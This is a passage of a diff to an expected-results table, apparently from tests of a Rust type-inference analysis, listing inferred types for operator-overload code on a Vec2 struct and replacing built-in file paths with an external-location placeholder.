main.rs:1278:5:1283:5 | Vec2 | | main.rs:1368:13:1368:16 | self | | file://:0:0:0:0 | & | | main.rs:1368:13:1368:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:13:1368:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1368:13:1368:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1368:13:1368:27 | ... %= ... | | file://:0:0:0:0 | () | | main.rs:1368:23:1368:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:23:1368:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1368:23:1368:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1369:13:1369:16 | self | | file://:0:0:0:0 | & | | main.rs:1369:13:1369:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1369:13:1369:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1369:13:1369:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1369:13:1369:27 | ... %= ... | | file://:0:0:0:0 | () | | main.rs:1369:23:1369:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1369:23:1369:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1369:23:1369:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1375:19:1375:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1375:25:1375:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1375:44:1380:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1376:13:1379:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1377:20:1377:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:20:1377:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1377:20:1377:33 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1377:20:1377:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1377:20:1377:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1377:29:1377:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:29:1377:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1377:29:1377:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1378:20:1378:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1378:20:1378:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1378:20:1378:33 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1378:20:1378:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1378:20:1378:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1378:29:1378:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1378:29:1378:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1378:29:1378:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1384:26:1384:34 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1384:26:1384:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1384:37:1384:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1385:13:1385:16 | self | | file://:0:0:0:0 | & | | main.rs:1385:13:1385:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:13:1385:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1385:13:1385:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1385:13:1385:27 | ... &= ... | | file://:0:0:0:0 | () | | main.rs:1385:23:1385:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:23:1385:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1385:23:1385:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1386:13:1386:16 | self | | file://:0:0:0:0 | & | | main.rs:1386:13:1386:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1386:13:1386:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1386:13:1386:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1386:13:1386:27 | ... &= ... | | file://:0:0:0:0 | () | | main.rs:1386:23:1386:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1386:23:1386:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1386:23:1386:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1392:18:1392:21 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1392:24:1392:26 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1392:43:1397:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1393:13:1396:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1394:20:1394:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:20:1394:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1394:20:1394:33 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1394:20:1394:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1394:20:1394:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1394:29:1394:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:29:1394:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1394:29:1394:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1395:20:1395:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1395:20:1395:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1395:20:1395:33 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1395:20:1395:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1395:20:1395:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1395:29:1395:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1395:29:1395:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1395:29:1395:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1401:25:1401:33 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1401:25:1401:33 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1401:36:1401:38 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1402:13:1402:16 | self | | file://:0:0:0:0 | & | | main.rs:1402:13:1402:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:13:1402:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1402:13:1402:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1402:13:1402:27 | ... \|= ... | | file://:0:0:0:0 | () | | main.rs:1402:23:1402:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:23:1402:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1402:23:1402:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1403:13:1403:16 | self | | file://:0:0:0:0 | & | | main.rs:1403:13:1403:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1403:13:1403:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1403:13:1403:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1403:13:1403:27 | ... \|= ... | | file://:0:0:0:0 | () | | main.rs:1403:23:1403:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1403:23:1403:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1403:23:1403:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1409:19:1409:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1409:25:1409:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1409:44:1414:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1410:13:1413:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1411:20:1411:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:20:1411:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1411:20:1411:33 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1411:20:1411:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1411:20:1411:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1411:29:1411:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:29:1411:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1411:29:1411:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1412:20:1412:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1412:20:1412:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1412:20:1412:33 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1412:20:1412:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1412:20:1412:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1412:29:1412:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1412:29:1412:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1412:29:1412:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1418:26:1418:34 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1418:26:1418:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1418:37:1418:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1419:13:1419:16 | self | | file://:0:0:0:0 | & | | main.rs:1419:13:1419:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:13:1419:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1419:13:1419:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1419:13:1419:27 | ... ^= ... | | file://:0:0:0:0 | () | | main.rs:1419:23:1419:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:23:1419:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1419:23:1419:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1420:13:1420:16 | self | | file://:0:0:0:0 | & | | main.rs:1420:13:1420:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1420:13:1420:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1420:13:1420:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1420:13:1420:27 | ... ^= ... | | file://:0:0:0:0 | () | | main.rs:1420:23:1420:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1420:23:1420:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1420:23:1420:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1426:16:1426:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1426:22:1426:24 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1426:22:1426:24 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1426:40:1431:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1427:13:1430:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1428:20:1428:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1428:20:1428:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1428:20:1428:32 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1428:30:1428:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1428:20:1428:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1428:20:1428:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1428:30:1428:32 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1429:20:1429:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1429:20:1429:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1429:20:1429:32 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1429:30:1429:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1429:20:1429:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1429:20:1429:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1429:30:1429:32 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1435:23:1435:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1435:23:1435:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1435:34:1435:36 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1435:34:1435:36 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1436:13:1436:16 | self | | file://:0:0:0:0 | & | | main.rs:1436:13:1436:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1436:13:1436:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1436:13:1436:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1436:13:1436:26 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1436:24:1436:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1436:24:1436:26 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1437:13:1437:16 | self | | file://:0:0:0:0 | & | | main.rs:1437:13:1437:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1437:13:1437:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1437:13:1437:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1437:13:1437:26 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1437:24:1437:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1437:24:1437:26 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1443:16:1443:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1443:22:1443:24 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1443:22:1443:24 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1443:40:1448:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1444:13:1447:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1445:20:1445:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1445:20:1445:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1445:20:1445:32 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1445:30:1445:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1445:20:1445:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1445:20:1445:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1445:30:1445:32 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1446:20:1446:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1446:20:1446:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1446:20:1446:32 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1446:30:1446:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1446:20:1446:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1446:20:1446:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1446:30:1446:32 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1452:23:1452:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1452:23:1452:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1452:34:1452:36 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1452:34:1452:36 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1453:13:1453:16 | self | | file://:0:0:0:0 | & | | main.rs:1453:13:1453:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1453:13:1453:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1453:13:1453:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1453:13:1453:26 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1453:24:1453:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1453:24:1453:26 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1454:13:1454:16 | self | | file://:0:0:0:0 | & | | main.rs:1454:13:1454:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1454:13:1454:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1454:13:1454:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1454:13:1454:26 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1454:24:1454:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1454:24:1454:26 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1460:16:1460:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1460:30:1465:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1461:13:1464:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1462:20:1462:26 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1462:20:1462:26 | - ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1462:21:1462:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1462:21:1462:26 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1463:20:1463:26 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1462:21:1462:26 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1463:20:1463:26 | - ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1463:21:1463:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1463:21:1463:26 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1463:21:1463:26 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1470:16:1470:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1470:30:1475:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1471:13:1474:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1472:20:1472:26 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1472:20:1472:26 | ! ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1472:21:1472:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1472:21:1472:26 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1473:20:1473:26 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1472:21:1472:26 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1473:20:1473:26 | ! ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1473:21:1473:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1473:21:1473:26 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1473:21:1473:26 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1479:15:1479:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1479:15:1479:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1479:22:1479:26 | other | | file://:0:0:0:0 | & | | main.rs:1479:22:1479:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1479:44:1481:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1479:44:1481:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1480:13:1480:16 | self | | file://:0:0:0:0 | & | | main.rs:1480:13:1480:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:13:1480:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1480:13:1480:29 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1480:13:1480:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1480:13:1480:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1480:13:1480:29 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1480:13:1480:50 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1480:23:1480:27 | other | | file://:0:0:0:0 | & | | main.rs:1480:23:1480:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:23:1480:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1480:23:1480:29 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1480:34:1480:37 | self | | file://:0:0:0:0 | & | | main.rs:1480:34:1480:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:34:1480:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1480:34:1480:50 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1480:34:1480:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1480:34:1480:50 | ... == ... | | {EXTERNAL LOCATION} | bool | | main.rs:1480:44:1480:48 | other | | file://:0:0:0:0 | & | | main.rs:1480:44:1480:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:44:1480:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1480:44:1480:50 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1483:15:1483:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1483:15:1483:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1483:22:1483:26 | other | | file://:0:0:0:0 | & | | main.rs:1483:22:1483:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1483:44:1485:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1483:44:1485:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1484:13:1484:16 | self | | file://:0:0:0:0 | & | | main.rs:1484:13:1484:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:13:1484:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1484:13:1484:29 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1484:13:1484:50 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1484:13:1484:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1484:13:1484:29 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1484:13:1484:50 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | | main.rs:1484:23:1484:27 | other | | file://:0:0:0:0 | & | | main.rs:1484:23:1484:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:23:1484:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1484:23:1484:29 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1484:34:1484:37 | self | | file://:0:0:0:0 | & | | main.rs:1484:34:1484:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:34:1484:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1484:34:1484:50 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1484:34:1484:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1484:34:1484:50 | ... != ... | | {EXTERNAL LOCATION} | bool | | main.rs:1484:44:1484:48 | other | | file://:0:0:0:0 | & | | main.rs:1484:44:1484:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:44:1484:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1484:44:1484:50 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1489:24:1489:28 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1489:24:1489:28 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1489:31:1489:35 | other | | file://:0:0:0:0 | & | | main.rs:1489:31:1489:35 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1489:75:1491:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | -| main.rs:1489:75:1491:9 | { ... } | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | -| main.rs:1490:13:1490:29 | (...) | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | -| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | +| main.rs:1489:75:1491:9 | { ... } | | {EXTERNAL LOCATION} | Option | +| main.rs:1489:75:1491:9 | { ... } | T | {EXTERNAL LOCATION} | Ordering | +| main.rs:1490:13:1490:29 | (...) | | {EXTERNAL LOCATION} | i64 | +| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | | {EXTERNAL LOCATION} | Option | +| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | T | {EXTERNAL LOCATION} | Ordering | | main.rs:1490:14:1490:17 | self | | file://:0:0:0:0 | & | | main.rs:1490:14:1490:17 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:14:1490:19 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:14:1490:28 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:14:1490:19 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1490:14:1490:28 | ... + ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1490:23:1490:26 | self | | file://:0:0:0:0 | & | | main.rs:1490:23:1490:26 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:23:1490:28 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:23:1490:28 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1490:43:1490:62 | &... | | file://:0:0:0:0 | & | -| main.rs:1490:43:1490:62 | &... | &T | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:44:1490:62 | (...) | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:43:1490:62 | &... | &T | {EXTERNAL LOCATION} | i64 | +| main.rs:1490:44:1490:62 | (...) | | {EXTERNAL LOCATION} | i64 | | main.rs:1490:45:1490:49 | other | | file://:0:0:0:0 | & | | main.rs:1490:45:1490:49 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:45:1490:51 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:45:1490:61 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:45:1490:51 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1490:45:1490:61 | ... + ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1490:55:1490:59 | other | | file://:0:0:0:0 | & | | main.rs:1490:55:1490:59 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:55:1490:61 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:55:1490:61 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1493:15:1493:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1493:15:1493:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 